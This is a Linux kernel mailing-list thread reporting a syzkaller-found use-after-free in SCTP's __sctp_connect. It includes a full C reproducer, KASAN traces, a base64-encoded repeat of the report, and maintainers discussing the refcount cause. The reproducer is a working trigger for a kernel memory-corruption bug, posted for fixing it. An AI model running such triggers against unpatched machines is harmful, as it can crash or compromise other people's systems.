* net/sctp: use-after-free in __sctp_connect @ 2016-01-13 9:52 Dmitry Vyukov 2016-01-14 1:37 ` YUAN Jia ` (2 more replies) 0 siblings, 3 replies; 17+ messages in thread From: Dmitry Vyukov @ 2016-01-13 9:52 UTC (permalink / raw) To: Vlad Yasevich, Neil Horman, David S. Miller, linux-sctp, netdev, LKML, Eric Dumazet, Marcelo Ricardo Leitner Cc: syzkaller, Kostya Serebryany, Alexander Potapenko, Sasha Levin Hello, The following program causes use-after-free in __sctp_connect: // autogenerated by syzkaller (http://github.com/google/syzkaller) #include <unistd.h> #include <sys/syscall.h> #include <string.h> #include <stdint.h> #include <pthread.h> long r[13]; void *thr(void *arg) { switch ((long)arg) { case 0: r[0] = syscall(SYS_mmap, 0x20000000ul, 0x20000ul, 0x3ul, 0x32ul, 0xfffffffffffffffful, 0x0ul); break; case 1: r[1] = syscall(SYS_socket, 0xaul, 0x1ul, 0x84ul, 0, 0, 0); break; case 2: memcpy((void*)0x2000b000, "\x0a\x00\x33\xe0\x49\xd0\x2e\x70\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x4c\x37\xff\xc4", 28); r[3] = syscall(SYS_bind, r[1], 0x2000b000ul, 0x1cul, 0, 0, 0); break; case 3: r[4] = syscall(SYS_dup2, r[1], r[1], 0, 0, 0, 0); break; case 4: *(uint64_t*)0x200177ed = (uint64_t)0x0; *(uint64_t*)0x200177f5 = (uint64_t)0x2710; r[7] = syscall(SYS_setsockopt, r[4], 0x1ul, 0x15ul, 0x200177edul, 0x10ul, 0); break; case 5: *(uint16_t*)0x2000b008 = (uint16_t)0x2; *(uint16_t*)0x2000b00a = (uint16_t)0xbab; *(uint32_t*)0x2000b00c = (uint32_t)0xffffffff; r[11] = syscall(SYS_setsockopt, r[4], 0x84ul, 0x6eul, 0x2000b000ul, 0x1cul, 0); break; case 6: r[12] = syscall(SYS_shutdown, r[4], 0x1ul, 0, 0, 0, 0); break; } return 0; } int main() { long i; pthread_t th[7]; memset(r, -1, sizeof(r)); for (i = 0; i < 7; i++) { pthread_create(&th[i], 0, thr, (void*)i); usleep(10000); } for (i = 0; i < 7; i++) { pthread_create(&th[i], 0, thr, (void*)i); if (i%2=0) usleep(10000); } usleep(100000); return 0; } ================================= BUG: KASAN: use-after-free in __sctp_connect+0xb23/0xb90 at addr ffff8800605febb8 Read of size 4 by task syz-executor/15263 INFO: Allocated in sctp_association_new+0x6f/0x1da0 age=0 cpu=3 pid\x15267 [< none >] ___slab_alloc+0x486/0x4e0 mm/slub.c:2468 [< none >] __slab_alloc+0x66/0xc0 mm/slub.c:2497 [< inline >] slab_alloc_node mm/slub.c:2560 [< inline >] slab_alloc mm/slub.c:2602 [< none >] kmem_cache_alloc_trace+0x284/0x310 mm/slub.c:2619 [< inline >] kmalloc include/linux/slab.h:458 [< inline >] kzalloc include/linux/slab.h:602 [< none >] sctp_association_new+0x6f/0x1da0 net/sctp/associola.c:302 [< none >] __sctp_connect+0x4ec/0xb90 net/sctp/socket.c:1161 [< none >] __sctp_setsockopt_connectx+0x198/0x1d0 net/sctp/socket.c:1328 [< inline >] sctp_setsockopt_connectx net/sctp/socket.c:1360 [< none >] sctp_setsockopt+0x226/0x3630 net/sctp/socket.c:3728 [< none >] sock_common_setsockopt+0x95/0xd0 net/core/sock.c:2642 [< inline >] SYSC_setsockopt net/socket.c:1752 [< none >] SyS_setsockopt+0x158/0x240 net/socket.c:1731 [< none >] entry_SYSCALL_64_fastpath+0x16/0x7a arch/x86/entry/entry_64.S:185 INFO: Freed in sctp_association_put+0x150/0x250 age=0 cpu=3 pid\x15267 [< none >] __slab_free+0x1fc/0x320 mm/slub.c:2678 [< inline >] slab_free mm/slub.c:2833 [< none >] kfree+0x2a8/0x2d0 mm/slub.c:3662 [< inline >] sctp_association_destroy net/sctp/associola.c:424 [< none >] sctp_association_put+0x150/0x250 net/sctp/associola.c:860 [< none >] sctp_wait_for_connect+0x37c/0x4f0 net/sctp/socket.c:7067 [< none >] __sctp_connect+0x905/0xb90 net/sctp/socket.c:1215 [< none >] __sctp_setsockopt_connectx+0x198/0x1d0 net/sctp/socket.c:1328 [< inline >] sctp_setsockopt_connectx net/sctp/socket.c:1360 [< none >] sctp_setsockopt+0x226/0x3630 net/sctp/socket.c:3728 [< none >] sock_common_setsockopt+0x95/0xd0 net/core/sock.c:2642 [< inline >] SYSC_setsockopt net/socket.c:1752 [< none >] SyS_setsockopt+0x158/0x240 net/socket.c:1731 [< none >] entry_SYSCALL_64_fastpath+0x16/0x7a arch/x86/entry/entry_64.S:185 INFO: Slab 0xffffea0001817e00 objects=7 used=3 fp=0xffff8800605fa3b0 flags=0x5fffc0000004080 INFO: Object 0xffff8800605feb10 @offset'408 fp=0x (null) CPU: 2 PID: 15263 Comm: syz-executor Tainted: G B 4.4.0+ #237 Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS Bochs 01/01/2011 00000000ffffffff ffff88003717f8f0 ffffffff8290ea2d ffff88003e806a00 ffff8800605feb10 ffff8800605f8000 ffff88003717f920 ffffffff81730904 ffff88003e806a00 ffffea0001817e00 ffff8800605feb10 dffffc0000000000 Call Trace: [<ffffffff81739e1e>] __asan_report_load4_noabort+0x3e/0x40 mm/kasan/report.c:294 [<ffffffff85925803>] __sctp_connect+0xb23/0xb90 net/sctp/socket.c:1217 [<ffffffff85925a08>] __sctp_setsockopt_connectx+0x198/0x1d0 net/sctp/socket.c:1328 [< inline >] sctp_setsockopt_connectx net/sctp/socket.c:1360 [<ffffffff8592bf36>] sctp_setsockopt+0x226/0x3630 net/sctp/socket.c:3728 [<ffffffff84d593a5>] sock_common_setsockopt+0x95/0xd0 net/core/sock.c:2642 [< inline >] SYSC_setsockopt net/socket.c:1752 [<ffffffff84d56548>] SyS_setsockopt+0x158/0x240 net/socket.c:1731 [<ffffffff85e8eb76>] entry_SYSCALL_64_fastpath+0x16/0x7a arch/x86/entry/entry_64.S:185 ================================= On commit 03891f9c853d5c4473224478a1e03ea00d70ff8d (Jan 11). ^ permalink raw reply [flat|nested] 17+ messages in thread
* RE: net/sctp: use-after-free in __sctp_connect 2016-01-13 9:52 net/sctp: use-after-free in __sctp_connect Dmitry Vyukov @ 2016-01-14 1:37 ` YUAN Jia 2016-01-14 1:45 ` Marcelo Ricardo Leitner 2016-01-15 19:01 ` Marcelo Ricardo Leitner 2016-10-19 12:25 ` Andrey Konovalov 2 siblings, 1 reply; 17+ messages in thread From: YUAN Jia @ 2016-01-14 1:37 UTC (permalink / raw) To: 'Dmitry Vyukov', Vlad Yasevich, Neil Horman, David S. Miller, linux-sctp@vger.kernel.org, netdev, LKML, Eric Dumazet, Marcelo Ricardo Leitner Cc: syzkaller, Kostya Serebryany, Alexander Potapenko, Sasha Levin SGkgRG1pdHJ5LA0KDQpJJ3ZlIHRlc3RlZCB5b3VyIHByb2dyYW0sIGJ1dCBmb3VuZCBub3RoaW5n IGhhcHBlbnMuIFNvLCBJIHN1c3BlY3QgaXQgbWF5IGNhdXNlIGtlcm5lbCBjcmFzaCBvbmx5IG9u IHNvbWUgc3BlY2lhbCBrZXJuZWwgdmVyc2lvbj8NCkkgd2FzIGp1c3QgdXNpbmcga2VybmVsIG9m IDQuMi4zLiBXaGF0IGFib3V0IHlvdT8NCg0KUmljaGFyZA0KDQotLS0tLU9yaWdpbmFsIE1lc3Nh Z2UtLS0tLQ0KRnJvbTogbGludXgtc2N0cC1vd25lckB2Z2VyLmtlcm5lbC5vcmcgW21haWx0bzps aW51eC1zY3RwLW93bmVyQHZnZXIua2VybmVsLm9yZ10gT24gQmVoYWxmIE9mIERtaXRyeSBWeXVr b3YNClNlbnQ6IDIwMTblubQx5pyIMTPml6UgMTc6NTMNClRvOiBWbGFkIFlhc2V2aWNoOyBOZWls IEhvcm1hbjsgRGF2aWQgUy4gTWlsbGVyOyBsaW51eC1zY3RwQHZnZXIua2VybmVsLm9yZzsgbmV0 ZGV2OyBMS01MOyBFcmljIER1bWF6ZXQ7IE1hcmNlbG8gUmljYXJkbyBMZWl0bmVyDQpDYzogc3l6 a2FsbGVyOyBLb3N0eWEgU2VyZWJyeWFueTsgQWxleGFuZGVyIFBvdGFwZW5rbzsgU2FzaGEgTGV2 aW4NClN1YmplY3Q6IG5ldC9zY3RwOiB1c2UtYWZ0ZXItZnJlZSBpbiBfX3NjdHBfY29ubmVjdA0K DQpIZWxsbywNCg0KVGhlIGZvbGxvd2luZyBwcm9ncmFtIGNhdXNlcyB1c2UtYWZ0ZXItZnJlZSBp biBfX3NjdHBfY29ubmVjdDoNCg0KLy8gYXV0b2dlbmVyYXRlZCBieSBzeXprYWxsZXIgKGh0dHA6 Ly9naXRodWIuY29tL2dvb2dsZS9zeXprYWxsZXIpDQojaW5jbHVkZSA8dW5pc3RkLmg+DQojaW5j bHVkZSA8c3lzL3N5c2NhbGwuaD4NCiNpbmNsdWRlIDxzdHJpbmcuaD4NCiNpbmNsdWRlIDxzdGRp bnQuaD4NCiNpbmNsdWRlIDxwdGhyZWFkLmg+DQoNCmxvbmcgclsxM107DQoNCnZvaWQgKnRocih2 b2lkICphcmcpDQp7DQogICAgICAgIHN3aXRjaCAoKGxvbmcpYXJnKSB7DQogICAgICAgIGNhc2Ug MDoNCiAgICAgICAgICAgICAgICByWzBdID0gc3lzY2FsbChTWVNfbW1hcCwgMHgyMDAwMDAwMHVs LCAweDIwMDAwdWwsIDB4M3VsLCAweDMydWwsIDB4ZmZmZmZmZmZmZmZmZmZmZnVsLCAweDB1bCk7 DQogICAgICAgICAgICAgICAgYnJlYWs7DQogICAgICAgIGNhc2UgMToNCiAgICAgICAgICAgICAg ICByWzFdID0gc3lzY2FsbChTWVNfc29ja2V0LCAweGF1bCwgMHgxdWwsIDB4ODR1bCwgMCwgMCwg MCk7DQogICAgICAgICAgICAgICAgYnJlYWs7DQogICAgICAgIGNhc2UgMjoNCiAgICAgICAgICAg ICAgICBtZW1jcHkoKHZvaWQqKTB4MjAwMGIwMDAsICJceDBhXHgwMFx4MzNceGUwXHg0OVx4ZDBc eDJlXHg3MFx4MDBceDAwXHgwMFx4MDBceDAwXHgwMFx4MDBceDAwXHgwMFx4MDBceDAwXHgwMFx4 MDBceDAwXHgwMFx4MDFceDRjXHgzN1x4ZmZceGM0IiwNCjI4KTsNCiAgICAgICAgICAgICAgICBy WzNdID0gc3lzY2FsbChTWVNfYmluZCwgclsxXSwgMHgyMDAwYjAwMHVsLCAweDFjdWwsIDAsIDAs IDApOw0KICAgICAgICAgICAgICAgIGJyZWFrOw0KICAgICAgICBjYXNlIDM6DQogICAgICAgICAg ICAgICAgcls0XSA9IHN5c2NhbGwoU1lTX2R1cDIsIHJbMV0sIHJbMV0sIDAsIDAsIDAsIDApOw0K ICAgICAgICAgICAgICAgIGJyZWFrOw0KICAgICAgICBjYXNlIDQ6DQogICAgICAgICAgICAgICAg Kih1aW50NjRfdCopMHgyMDAxNzdlZCA9ICh1aW50NjRfdCkweDA7DQogICAgICAgICAgICAgICAg Kih1aW50NjRfdCopMHgyMDAxNzdmNSA9ICh1aW50NjRfdCkweDI3MTA7DQogICAgICAgICAgICAg ICAgcls3XSA9IHN5c2NhbGwoU1lTX3NldHNvY2tvcHQsIHJbNF0sIDB4MXVsLCAweDE1dWwsIDB4 MjAwMTc3ZWR1bCwgMHgxMHVsLCAwKTsNCiAgICAgICAgICAgICAgICBicmVhazsNCiAgICAgICAg Y2FzZSA1Og0KICAgICAgICAgICAgICAgICoodWludDE2X3QqKTB4MjAwMGIwMDggPSAodWludDE2 X3QpMHgyOw0KICAgICAgICAgICAgICAgICoodWludDE2X3QqKTB4MjAwMGIwMGEgPSAodWludDE2 X3QpMHhiYWI7DQogICAgICAgICAgICAgICAgKih1aW50MzJfdCopMHgyMDAwYjAwYyA9ICh1aW50 MzJfdCkweGZmZmZmZmZmOw0KICAgICAgICAgICAgICAgIHJbMTFdID0gc3lzY2FsbChTWVNfc2V0 c29ja29wdCwgcls0XSwgMHg4NHVsLCAweDZldWwsIDB4MjAwMGIwMDB1bCwgMHgxY3VsLCAwKTsN CiAgICAgICAgICAgICAgICBicmVhazsNCiAgICAgICAgY2FzZSA2Og0KICAgICAgICAgICAgICAg IHJbMTJdID0gc3lzY2FsbChTWVNfc2h1dGRvd24sIHJbNF0sIDB4MXVsLCAwLCAwLCAwLCAwKTsN CiAgICAgICAgICAgICAgICBicmVhazsNCiAgICAgICAgfQ0KICAgICAgICByZXR1cm4gMDsNCn0N Cg0KaW50IG1haW4oKQ0Kew0KICAgICAgICBsb25nIGk7DQogICAgICAgIHB0aHJlYWRfdCB0aFs3 XTsNCg0KICAgICAgICBtZW1zZXQociwgLTEsIHNpemVvZihyKSk7DQogICAgICAgIGZvciAoaSA9 IDA7IGkgPCA3OyBpKyspIHsNCiAgICAgICAgICAgICAgICBwdGhyZWFkX2NyZWF0ZSgmdGhbaV0s IDAsIHRociwgKHZvaWQqKWkpOw0KICAgICAgICAgICAgICAgIHVzbGVlcCgxMDAwMCk7DQogICAg ICAgIH0NCiAgICAgICAgZm9yIChpID0gMDsgaSA8IDc7IGkrKykgew0KICAgICAgICAgICAgICAg IHB0aHJlYWRfY3JlYXRlKCZ0aFtpXSwgMCwgdGhyLCAodm9pZCopaSk7DQogICAgICAgICAgICAg ICAgaWYgKGklMj09MCkNCiAgICAgICAgICAgICAgICAgICAgICAgIHVzbGVlcCgxMDAwMCk7DQog ICAgICAgIH0NCiAgICAgICAgdXNsZWVwKDEwMDAwMCk7DQogICAgICAgIHJldHVybiAwOw0KfQ0K DQo9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT0NCkJVRzogS0FTQU46IHVzZS1hZnRlci1mcmVlIGluIF9fc2N0cF9jb25uZWN0 KzB4YjIzLzB4YjkwIGF0IGFkZHINCmZmZmY4ODAwNjA1ZmViYjgNClJlYWQgb2Ygc2l6ZSA0IGJ5 IHRhc2sgc3l6LWV4ZWN1dG9yLzE1MjYzDQoNCklORk86IEFsbG9jYXRlZCBpbiBzY3RwX2Fzc29j aWF0aW9uX25ldysweDZmLzB4MWRhMCBhZ2U9MCBjcHU9MyBwaWQ9MTUyNjcNCls8ICAgICAgbm9u ZSAgICAgID5dIF9fX3NsYWJfYWxsb2MrMHg0ODYvMHg0ZTAgbW0vc2x1Yi5jOjI0NjgNCls8ICAg ICAgbm9uZSAgICAgID5dIF9fc2xhYl9hbGxvYysweDY2LzB4YzAgbW0vc2x1Yi5jOjI0OTcNCls8 ICAgICBpbmxpbmUgICAgID5dIHNsYWJfYWxsb2Nfbm9kZSBtbS9zbHViLmM6MjU2MA0KWzwgICAg IGlubGluZSAgICAgPl0gc2xhYl9hbGxvYyBtbS9zbHViLmM6MjYwMg0KWzwgICAgICBub25lICAg ICAgPl0ga21lbV9jYWNoZV9hbGxvY190cmFjZSsweDI4NC8weDMxMCBtbS9zbHViLmM6MjYxOQ0K WzwgICAgIGlubGluZSAgICAgPl0ga21hbGxvYyBpbmNsdWRlL2xpbnV4L3NsYWIuaDo0NTgNCls8 ICAgICBpbmxpbmUgICAgID5dIGt6YWxsb2MgaW5jbHVkZS9saW51eC9zbGFiLmg6NjAyDQpbPCAg ICAgIG5vbmUgICAgICA+XSBzY3RwX2Fzc29jaWF0aW9uX25ldysweDZmLzB4MWRhMCBuZXQvc2N0 cC9hc3NvY2lvbGEuYzozMDINCls8ICAgICAgbm9uZSAgICAgID5dIF9fc2N0cF9jb25uZWN0KzB4 NGVjLzB4YjkwIG5ldC9zY3RwL3NvY2tldC5jOjExNjENCls8ICAgICAgbm9uZSAgICAgID5dIF9f c2N0cF9zZXRzb2Nrb3B0X2Nvbm5lY3R4KzB4MTk4LzB4MWQwDQpuZXQvc2N0cC9zb2NrZXQuYzox MzI4DQpbPCAgICAgaW5saW5lICAgICA+XSBzY3RwX3NldHNvY2tvcHRfY29ubmVjdHggbmV0L3Nj dHAvc29ja2V0LmM6MTM2MA0KWzwgICAgICBub25lICAgICAgPl0gc2N0cF9zZXRzb2Nrb3B0KzB4 MjI2LzB4MzYzMCBuZXQvc2N0cC9zb2NrZXQuYzozNzI4DQpbPCAgICAgIG5vbmUgICAgICA+XSBz b2NrX2NvbW1vbl9zZXRzb2Nrb3B0KzB4OTUvMHhkMCBuZXQvY29yZS9zb2NrLmM6MjY0Mg0KWzwg ICAgIGlubGluZSAgICAgPl0gU1lTQ19zZXRzb2Nrb3B0IG5ldC9zb2NrZXQuYzoxNzUyDQpbPCAg ICAgIG5vbmUgICAgICA+XSBTeVNfc2V0c29ja29wdCsweDE1OC8weDI0MCBuZXQvc29ja2V0LmM6 MTczMQ0KWzwgICAgICBub25lICAgICAgPl0gZW50cnlfU1lTQ0FMTF82NF9mYXN0cGF0aCsweDE2 LzB4N2ENCmFyY2gveDg2L2VudHJ5L2VudHJ5XzY0LlM6MTg1DQoNCklORk86IEZyZWVkIGluIHNj dHBfYXNzb2NpYXRpb25fcHV0KzB4MTUwLzB4MjUwIGFnZT0wIGNwdT0zIHBpZD0xNTI2Nw0KWzwg ICAgICBub25lICAgICAgPl0gX19zbGFiX2ZyZWUrMHgxZmMvMHgzMjAgbW0vc2x1Yi5jOjI2NzgN Cls8ICAgICBpbmxpbmUgICAgID5dIHNsYWJfZnJlZSBtbS9zbHViLmM6MjgzMw0KWzwgICAgICBu b25lICAgICAgPl0ga2ZyZWUrMHgyYTgvMHgyZDAgbW0vc2x1Yi5jOjM2NjINCls8ICAgICBpbmxp bmUgICAgID5dIHNjdHBfYXNzb2NpYXRpb25fZGVzdHJveSBuZXQvc2N0cC9hc3NvY2lvbGEuYzo0 MjQNCls8ICAgICAgbm9uZSAgICAgID5dIHNjdHBfYXNzb2NpYXRpb25fcHV0KzB4MTUwLzB4MjUw IG5ldC9zY3RwL2Fzc29jaW9sYS5jOjg2MA0KWzwgICAgICBub25lICAgICAgPl0gc2N0cF93YWl0 X2Zvcl9jb25uZWN0KzB4MzdjLzB4NGYwIG5ldC9zY3RwL3NvY2tldC5jOjcwNjcNCls8ICAgICAg bm9uZSAgICAgID5dIF9fc2N0cF9jb25uZWN0KzB4OTA1LzB4YjkwIG5ldC9zY3RwL3NvY2tldC5j OjEyMTUNCls8ICAgICAgbm9uZSAgICAgID5dIF9fc2N0cF9zZXRzb2Nrb3B0X2Nvbm5lY3R4KzB4 MTk4LzB4MWQwDQpuZXQvc2N0cC9zb2NrZXQuYzoxMzI4DQpbPCAgICAgaW5saW5lICAgICA+XSBz Y3RwX3NldHNvY2tvcHRfY29ubmVjdHggbmV0L3NjdHAvc29ja2V0LmM6MTM2MA0KWzwgICAgICBu b25lICAgICAgPl0gc2N0cF9zZXRzb2Nrb3B0KzB4MjI2LzB4MzYzMCBuZXQvc2N0cC9zb2NrZXQu YzozNzI4DQpbPCAgICAgIG5vbmUgICAgICA+XSBzb2NrX2NvbW1vbl9zZXRzb2Nrb3B0KzB4OTUv MHhkMCBuZXQvY29yZS9zb2NrLmM6MjY0Mg0KWzwgICAgIGlubGluZSAgICAgPl0gU1lTQ19zZXRz b2Nrb3B0IG5ldC9zb2NrZXQuYzoxNzUyDQpbPCAgICAgIG5vbmUgICAgICA+XSBTeVNfc2V0c29j a29wdCsweDE1OC8weDI0MCBuZXQvc29ja2V0LmM6MTczMQ0KWzwgICAgICBub25lICAgICAgPl0g ZW50cnlfU1lTQ0FMTF82NF9mYXN0cGF0aCsweDE2LzB4N2ENCmFyY2gveDg2L2VudHJ5L2VudHJ5 XzY0LlM6MTg1DQoNCklORk86IFNsYWIgMHhmZmZmZWEwMDAxODE3ZTAwIG9iamVjdHM9NyB1c2Vk PTMgZnA9MHhmZmZmODgwMDYwNWZhM2IwDQpmbGFncz0weDVmZmZjMDAwMDAwNDA4MA0KSU5GTzog T2JqZWN0IDB4ZmZmZjg4MDA2MDVmZWIxMCBAb2Zmc2V0PTI3NDA4IGZwPTB4ICAgICAgICAgIChu dWxsKQ0KQ1BVOiAyIFBJRDogMTUyNjMgQ29tbTogc3l6LWV4ZWN1dG9yIFRhaW50ZWQ6IEcgICAg QiAgICAgICAgICAgNC40LjArICMyMzcNCkhhcmR3YXJlIG5hbWU6IFFFTVUgU3RhbmRhcmQgUEMg KGk0NDBGWCArIFBJSVgsIDE5OTYpLCBCSU9TIEJvY2hzIDAxLzAxLzIwMTEgIDAwMDAwMDAwZmZm ZmZmZmYgZmZmZjg4MDAzNzE3ZjhmMCBmZmZmZmZmZjgyOTBlYTJkIGZmZmY4ODAwM2U4MDZhMDAN CiBmZmZmODgwMDYwNWZlYjEwIGZmZmY4ODAwNjA1ZjgwMDAgZmZmZjg4MDAzNzE3ZjkyMCBmZmZm ZmZmZjgxNzMwOTA0DQogZmZmZjg4MDAzZTgwNmEwMCBmZmZmZWEwMDAxODE3ZTAwIGZmZmY4ODAw NjA1ZmViMTAgZGZmZmZjMDAwMDAwMDAwMCBDYWxsIFRyYWNlOg0KIFs8ZmZmZmZmZmY4MTczOWUx ZT5dIF9fYXNhbl9yZXBvcnRfbG9hZDRfbm9hYm9ydCsweDNlLzB4NDANCm1tL2thc2FuL3JlcG9y dC5jOjI5NA0KIFs8ZmZmZmZmZmY4NTkyNTgwMz5dIF9fc2N0cF9jb25uZWN0KzB4YjIzLzB4Yjkw IG5ldC9zY3RwL3NvY2tldC5jOjEyMTcgIFs8ZmZmZmZmZmY4NTkyNWEwOD5dIF9fc2N0cF9zZXRz b2Nrb3B0X2Nvbm5lY3R4KzB4MTk4LzB4MWQwDQpuZXQvc2N0cC9zb2NrZXQuYzoxMzI4DQogWzwg ICAgIGlubGluZSAgICAgPl0gc2N0cF9zZXRzb2Nrb3B0X2Nvbm5lY3R4IG5ldC9zY3RwL3NvY2tl dC5jOjEzNjANCiBbPGZmZmZmZmZmODU5MmJmMzY+XSBzY3RwX3NldHNvY2tvcHQrMHgyMjYvMHgz NjMwIG5ldC9zY3RwL3NvY2tldC5jOjM3MjggIFs8ZmZmZmZmZmY4NGQ1OTNhNT5dIHNvY2tfY29t bW9uX3NldHNvY2tvcHQrMHg5NS8weGQwIG5ldC9jb3JlL3NvY2suYzoyNjQyDQogWzwgICAgIGlu bGluZSAgICAgPl0gU1lTQ19zZXRzb2Nrb3B0IG5ldC9zb2NrZXQuYzoxNzUyDQogWzxmZmZmZmZm Zjg0ZDU2NTQ4Pl0gU3lTX3NldHNvY2tvcHQrMHgxNTgvMHgyNDAgbmV0L3NvY2tldC5jOjE3MzEg IFs8ZmZmZmZmZmY4NWU4ZWI3Nj5dIGVudHJ5X1NZU0NBTExfNjRfZmFzdHBhdGgrMHgxNi8weDdh DQphcmNoL3g4Ni9lbnRyeS9lbnRyeV82NC5TOjE4NQ0KPT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09DQoNCk9uIGNvbW1pdCAw Mzg5MWY5Yzg1M2Q1YzQ0NzMyMjQ0NzhhMWUwM2VhMDBkNzBmZjhkIChKYW4gMTEpLg0KLS0NClRv IHVuc3Vic2NyaWJlIGZyb20gdGhpcyBsaXN0OiBzZW5kIHRoZSBsaW5lICJ1bnN1YnNjcmliZSBs aW51eC1zY3RwIiBpbiB0aGUgYm9keSBvZiBhIG1lc3NhZ2UgdG8gbWFqb3Jkb21vQHZnZXIua2Vy bmVsLm9yZyBNb3JlIG1ham9yZG9tbyBpbmZvIGF0ICBodHRwOi8vdmdlci5rZXJuZWwub3JnL21h am9yZG9tby1pbmZvLmh0bWwNCg= ^ permalink raw reply [flat|nested] 17+ messages in thread
* Re: net/sctp: use-after-free in __sctp_connect 2016-01-14 1:37 ` YUAN Jia @ 2016-01-14 1:45 ` Marcelo Ricardo Leitner 0 siblings, 0 replies; 17+ messages in thread From: Marcelo Ricardo Leitner @ 2016-01-14 1:45 UTC (permalink / raw) To: YUAN Jia, 'Dmitry Vyukov', Vlad Yasevich, Neil Horman, David S. Miller, linux-sctp@vger.kernel.org, netdev, LKML, Eric Dumazet Cc: syzkaller, Kostya Serebryany, Alexander Potapenko, Sasha Levin Em 13-01-2016 23:37, YUAN Jia escreveu: > Hi Dmitry, > > I've tested your program, but found nothing happens. So, I suspect it may cause kernel crash only on some special kernel version? > I was just using kernel of 4.2.3. What about you? > > Richard Please don't top-post. Note that it doesn't necessarily crashes the system. syzkaller is using kasan to detect such type of invalid accesses, which in some conditions may lead to crashes, weird behavior or just nothing at all. It all depends on how much the memory was already changed after it was freed. > -----Original Message----- > From: linux-sctp-owner@vger.kernel.org [mailto:linux-sctp-owner@vger.kernel.org] On Behalf Of Dmitry Vyukov > Sent: 2016年1月13日 17:53 > To: Vlad Yasevich; Neil Horman; David S. Miller; linux-sctp@vger.kernel.org; netdev; LKML; Eric Dumazet; Marcelo Ricardo Leitner > Cc: syzkaller; Kostya Serebryany; Alexander Potapenko; Sasha Levin > Subject: net/sctp: use-after-free in __sctp_connect > ... > > On commit 03891f9c853d5c4473224478a1e03ea00d70ff8d (Jan 11). This is the git commit/(version) he was using --^ Marcelo ^ permalink raw reply [flat|nested] 17+ messages in thread
* Re: net/sctp: use-after-free in __sctp_connect 2016-01-13 9:52 net/sctp: use-after-free in __sctp_connect Dmitry Vyukov 2016-01-14 1:37 ` YUAN Jia @ 2016-01-15 19:01 ` Marcelo Ricardo Leitner 2016-01-19 14:38 ` Vlad Yasevich 2016-10-19 12:25 ` Andrey Konovalov 2 siblings, 1 reply; 17+ messages in thread From: Marcelo Ricardo Leitner @ 2016-01-15 19:01 UTC (permalink / raw) To: Dmitry Vyukov Cc: Vlad Yasevich, Neil Horman, David S. Miller, linux-sctp, netdev, LKML, Eric Dumazet, syzkaller, Kostya Serebryany, Alexander Potapenko, Sasha Levin On Wed, Jan 13, 2016 at 10:52:31AM +0100, Dmitry Vyukov wrote: > Hello, > > The following program causes use-after-free in __sctp_connect: > ... > INFO: Freed in sctp_association_put+0x150/0x250 age=0 cpu=3 pid\x15267 > [< none >] __slab_free+0x1fc/0x320 mm/slub.c:2678 > [< inline >] slab_free mm/slub.c:2833 > [< none >] kfree+0x2a8/0x2d0 mm/slub.c:3662 > [< inline >] sctp_association_destroy net/sctp/associola.c:424 > [< none >] sctp_association_put+0x150/0x250 net/sctp/associola.c:860 > [< none >] sctp_wait_for_connect+0x37c/0x4f0 net/sctp/socket.c:7067 ^^^^^^^^^^^^^^ > [< none >] __sctp_connect+0x905/0xb90 net/sctp/socket.c:1215 > [< none >] __sctp_setsockopt_connectx+0x198/0x1d0 > net/sctp/socket.c:1328 > [< inline >] sctp_setsockopt_connectx net/sctp/socket.c:1360 > [< none >] sctp_setsockopt+0x226/0x3630 net/sctp/socket.c:3728 > [< none >] sock_common_setsockopt+0x95/0xd0 net/core/sock.c:2642 > [< inline >] SYSC_setsockopt net/socket.c:1752 > [< none >] SyS_setsockopt+0x158/0x240 net/socket.c:1731 > [< none >] entry_SYSCALL_64_fastpath+0x16/0x7a > arch/x86/entry/entry_64.S:185 This one may sher some light on that other socket leak one, because the association shouldn't have been freed at that point. Now, how it managed to unbalance that refcnt, hmm... ^ permalink raw reply [flat|nested] 17+ messages in thread
* Re: net/sctp: use-after-free in __sctp_connect 2016-01-15 19:01 ` Marcelo Ricardo Leitner @ 2016-01-19 14:38 ` Vlad Yasevich 2016-01-21 17:18 ` Marcelo Ricardo Leitner 0 siblings, 1 reply; 17+ messages in thread From: Vlad Yasevich @ 2016-01-19 14:38 UTC (permalink / raw) To: Marcelo Ricardo Leitner, Dmitry Vyukov Cc: Neil Horman, David S. Miller, linux-sctp, netdev, LKML, Eric Dumazet, syzkaller, Kostya Serebryany, Alexander Potapenko, Sasha Levin On 01/15/2016 02:01 PM, Marcelo Ricardo Leitner wrote: > On Wed, Jan 13, 2016 at 10:52:31AM +0100, Dmitry Vyukov wrote: >> Hello, >> >> The following program causes use-after-free in __sctp_connect: >> > ... >> INFO: Freed in sctp_association_put+0x150/0x250 age=0 cpu=3 pid\x15267 >> [< none >] __slab_free+0x1fc/0x320 mm/slub.c:2678 >> [< inline >] slab_free mm/slub.c:2833 >> [< none >] kfree+0x2a8/0x2d0 mm/slub.c:3662 >> [< inline >] sctp_association_destroy net/sctp/associola.c:424 >> [< none >] sctp_association_put+0x150/0x250 net/sctp/associola.c:860 >> [< none >] sctp_wait_for_connect+0x37c/0x4f0 net/sctp/socket.c:7067 > ^^^^^^^^^^^^^^ >> [< none >] __sctp_connect+0x905/0xb90 net/sctp/socket.c:1215 >> [< none >] __sctp_setsockopt_connectx+0x198/0x1d0 >> net/sctp/socket.c:1328 >> [< inline >] sctp_setsockopt_connectx net/sctp/socket.c:1360 >> [< none >] sctp_setsockopt+0x226/0x3630 net/sctp/socket.c:3728 >> [< none >] sock_common_setsockopt+0x95/0xd0 net/core/sock.c:2642 >> [< inline >] SYSC_setsockopt net/socket.c:1752 >> [< none >] SyS_setsockopt+0x158/0x240 net/socket.c:1731 >> [< none >] entry_SYSCALL_64_fastpath+0x16/0x7a >> arch/x86/entry/entry_64.S:185 > > This one may sher some light on that other socket leak one, because the > association shouldn't have been freed at that point. > Now, how it managed to unbalance that refcnt, hmm... > The free may be a result of implicit close when the program ends. If the thread is still waiting for connect to finish when the program ends, we may end up in a situation when the association has been freed, but the ref held by wait_for_connect prevents the destruction. When wait_for_connect finishes in puts the ref and causes the destruction. What I am guessing is happing is the wait_for_connect doesn't catch the error condition correctly and thus __sctp_connect() doesn't think there was and error and references the assoc which was just destroyed. -vlad ^ permalink raw reply [flat|nested] 17+ messages in thread
